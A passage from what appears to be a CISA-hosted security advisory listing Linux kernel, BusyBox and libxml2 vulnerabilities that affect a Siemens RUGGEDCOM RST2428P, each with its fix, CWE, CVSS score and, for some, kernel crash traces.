1136.110874] ? asm_exc_invalid_op+0x1a/0x20 [ 1136.115059] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.120806] move_linked_works+0x4a/0xa0 [ 1136.124733] worker_thread+0x216/0x3a0 [ 1136.128485] ? __pfx_worker_thread+0x10/0x10 [ 1136.132758] kthread+0xfa/0x240 [ 1136.135904] ? __pfx_kthread+0x10/0x10 [ 1136.139657] ret_from_fork+0x31/0x50 [ 1136.143236] ? __pfx_kthread+0x10/0x10 [ 1136.146988] ret_from_fork_asm+0x1a/0x30 [ 1136.150915]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1341.html">CWE-1341 Multiple Releases of Same Resource or Handle</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40262</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: imx_sc_key - fix memory corruption on unload This is supposed to be "priv" but we accidentally pass "&amp;priv" which is an address in the stack and so it will lead to memory corruption when the imx_sc_key_action() function is called. Remove the &amp;.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40262">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40263</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: cros_ec_keyb - fix an invalid memory access If cros_ec_keyb_register_matrix() isn't called (due to `buttons_switches_only`) in cros_ec_keyb_probe(), `ckdev-&gt;idev` remains NULL. An invalid memory access is observed in cros_ec_keyb_process() when receiving an EC_MKBP_EVENT_KEY_MATRIX event in cros_ec_keyb_work() in such case. Unable to handle kernel read from unreadable memory at virtual address 0000000000000028 ... x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: input_event cros_ec_keyb_work blocking_notifier_call_chain ec_irq_thread It's still unknown about why the kernel receives such malformed event, in any cases, the kernel shouldn't access `ckdev-&gt;idev` and friends if the driver doesn't intend to initialize them.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40263">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40264</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: be2net: pass wrb_params in case of OS2BMC be_insert_vlan_in_pkt() is called with the wrb_params argument being NULL at be_send_pkt_to_bmc() call site.  This may lead to dereferencing a NULL pointer when processing a workaround for specific packet, as commit bc0c3405abbb ("be2net: fix a Tx stall bug caused by a specific ipv6 packet") states. The correct way would be to pass the wrb_params from be_xmit().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40264">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40271</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/proc: fix uaf in proc_readdir_de() Pde is erased from subdir rbtree through rb_erase(), but not set the node to EMPTY, which may result in uaf access. We should use RB_CLEAR_NODE() set the erased node to EMPTY, then pde_subdir_next() will return NULL to avoid uaf access. We found an uaf issue while using stress-ng testing, need to run testcase getdent and tun in the same time. The steps of the issue is as follows: 1) use getdent to traverse dir /proc/pid/net/dev_snmp6/, and current pde is tun3; 2) in the [time windows] unregister netdevice tun3 and tun2, and erase them from rbtree. erase tun3 first, and then erase tun2. the pde(tun2) will be released to slab; 3) continue to getdent process, then pde_subdir_next() will return pde(tun2) which is released, it will case uaf access. CPU 0 | CPU 1 ------------------------------------------------------------------------- traverse dir /proc/pid/net/dev_snmp6/ | unregister_netdevice(tun-&gt;dev) //tun3 tun2 sys_getdents64() | iterate_dir() | proc_readdir() | proc_readdir_de() | snmp6_unregister_dev() pde_get(de); | proc_remove() read_unlock(&amp;proc_subdir_lock); | remove_proc_subtree() | write_lock(&amp;proc_subdir_lock); [time window] | rb_erase(&amp;root-&gt;subdir_node, &amp;parent-&gt;subdir); | write_unlock(&amp;proc_subdir_lock); read_lock(&amp;proc_subdir_lock); | next = pde_subdir_next(de); | pde_put(de); | de = next; //UAF | rbtree of dev_snmp6 | pde(tun3) / \ NULL pde(tun2)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40271">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/625.html">CWE-625 Permissive Regular Expression</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40278</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: act_ife: initialize struct tc_ife to fix KMSAN kernel-infoleak Fix a KMSAN kernel-infoleak detected by the syzbot . [net?] KMSAN: kernel-infoleak in __skb_datagram_iter In tcf_ife_dump(), the variable 'opt' was partially initialized using a designatied initializer. While the padding bytes are reamined uninitialized. nla_put() copies the entire structure into a netlink message, these uninitialized bytes leaked to userspace. Initialize the structure with memset before assigning its fields to ensure all members and padding are cleared prior to beign copied. This change silences the KMSAN report and prevents potential information leaks from the kernel memory. This fix has been tested and validated by syzbot. This patch closes the bug reported at the following syzkaller link and ensures no infoleak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40278">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40280</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tipc: Fix use-after-free in tipc_mon_reinit_self(). syzbot reported use-after-free of tipc_net(net)-&gt;monitors[] in tipc_mon_reinit_self(). [0] The array is protected by RTNL, but tipc_mon_reinit_self() iterates over it without RTNL. tipc_mon_reinit_self() is called from tipc_net_finalize(), which is always under RTNL except for tipc_net_finalize_work(). Let's hold RTNL in tipc_net_finalize_work(). [0]: BUG: KASAN: slab-use-after-free in __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline] BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0xa7/0xf0 kernel/locking/spinlock.c:162 Read of size 1 at addr ffff88805eae1030 by task kworker/0:7/5989 CPU: 0 UID: 0 PID: 5989 Comm: kworker/0:7 Not tainted syzkaller #0 PREEMPT_{RT,(full)} Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025 Workqueue: events tipc_net_finalize_work Call Trace: dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xca/0x240 mm/kasan/report.c:482 kasan_report+0x118/0x150 mm/kasan/report.c:595 __kasan_check_byte+0x2a/0x40 mm/kasan/common.c:568 kasan_check_byte include/linux/kasan.h:399 [inline] lock_acquire+0x8d/0x360 kernel/locking/lockdep.c:5842 __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline] _raw_spin_lock_irqsave+0xa7/0xf0 kernel/locking/spinlock.c:162 rtlock_slowlock kernel/locking/rtmutex.c:1894 [inline] rwbase_rtmutex_lock_state kernel/locking/spinlock_rt.c:160 [inline] rwbase_write_lock+0xd3/0x7e0 kernel/locking/rwbase_rt.c:244 rt_write_lock+0x76/0x110 kernel/locking/spinlock_rt.c:243 write_lock_bh include/linux/rwlock_rt.h:99 [inline] tipc_mon_reinit_self+0x79/0x430 net/tipc/monitor.c:718 tipc_net_finalize+0x115/0x190 net/tipc/net.c:140 process_one_work kernel/workqueue.c:3236 [inline] process_scheduled_works+0xade/0x17b0 kernel/workqueue.c:3319 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3400 kthread+0x70e/0x8a0 kernel/kthread.c:463 ret_from_fork+0x439/0x7d0 arch/x86/kernel/process.c:148 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Allocated by task 6089: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __kmalloc_cache_noprof+0x1a8/0x320 mm/slub.c:4407 kmalloc_noprof include/linux/slab.h:905 [inline] kzalloc_noprof include/linux/slab.h:1039 [inline] tipc_mon_create+0xc3/0x4d0 net/tipc/monitor.c:657 tipc_enable_bearer net/tipc/bearer.c:357 [inline] __tipc_nl_bearer_enable+0xe16/0x13f0 net/tipc/bearer.c:1047 __tipc_nl_compat_doit net/tipc/netlink_compat.c:371 [inline] tipc_nl_compat_doit+0x3bc/0x5f0 net/tipc/netlink_compat.c:393 tipc_nl_compat_handle net/tipc/netlink_compat.c:-1 [inline] tipc_nl_compat_recv+0x83c/0xbe0 net/tipc/netlink_compat.c:1321 genl_family_rcv_msg_doit+0x215/0x300 net/netlink/genetlink.c:1115 genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x60e/0x790 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x208/0x470 net/netlink/af_netlink.c:2552 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline] netlink_unicast+0x846/0xa10 net/netlink/af_netlink.c:1346 netlink_sendmsg+0x805/0xb30 net/netlink/af_netlink.c:1896 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x21c/0x270 net/socket.c:729 ____sys_sendmsg+0x508/0x820 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x1a1/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40280">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40281</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: sctp: prevent possible shift-out-of-bounds in sctp_transport_update_rto syzbot reported a possible shift-out-of-bounds [1] Blamed commit added rto_alpha_max and rto_beta_max set to 1000. It is unclear if some sctp users are setting very large rto_alpha and/or rto_beta. In order to prevent user regression, perform the test at run time. Also add READ_ONCE() annotations as sysctl values can change under us. [1] UBSAN: shift-out-of-bounds in net/sctp/transport.c:509:41 shift exponent 64 is too large for 32-bit type 'unsigned int' CPU: 0 UID: 0 PID: 16704 Comm: syz.2.2320 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x16c/0x1f0 lib/dump_stack.c:120 ubsan_epilogue lib/ubsan.c:233 [inline] __ubsan_handle_shift_out_of_bounds+0x27f/0x420 lib/ubsan.c:494 sctp_transport_update_rto.cold+0x1c/0x34b net/sctp/transport.c:509 sctp_check_transmitted+0x11c4/0x1c30 net/sctp/outqueue.c:1502 sctp_outq_sack+0x4ef/0x1b20 net/sctp/outqueue.c:1338 sctp_cmd_process_sack net/sctp/sm_sideeffect.c:840 [inline] sctp_cmd_interpreter net/sctp/sm_sideeffect.c:1372 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40281">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40345</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: usb: storage: sddr55: Reject out-of-bound new_pba Discovered by Atuin - Automated Vulnerability Discovery Engine. new_pba comes from the status packet returned after each write. A bogus device could report values beyond the block count derived from info-&gt;capacity, letting the driver walk off the end of pba_to_lba[] and corrupt heap memory. Reject PBAs that exceed the computed block count and fail the transfer so we avoid touching out-of-range mapping entries.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40345">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-46394</a></h3>
<div class="csaf-accordion-content">
<p>In tar in BusyBox through 1.37.0, a TAR archive can have filenames hidden from a listing through the use of terminal escape sequences.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-46394">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/451.html">CWE-451 User Interface (UI) Misrepresentation of Critical Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.2</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49794</a></h3>
<div class="csaf-accordion-content">
<p>A use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49794">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49795</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49795">View CVE Details</a></p>
<hr>
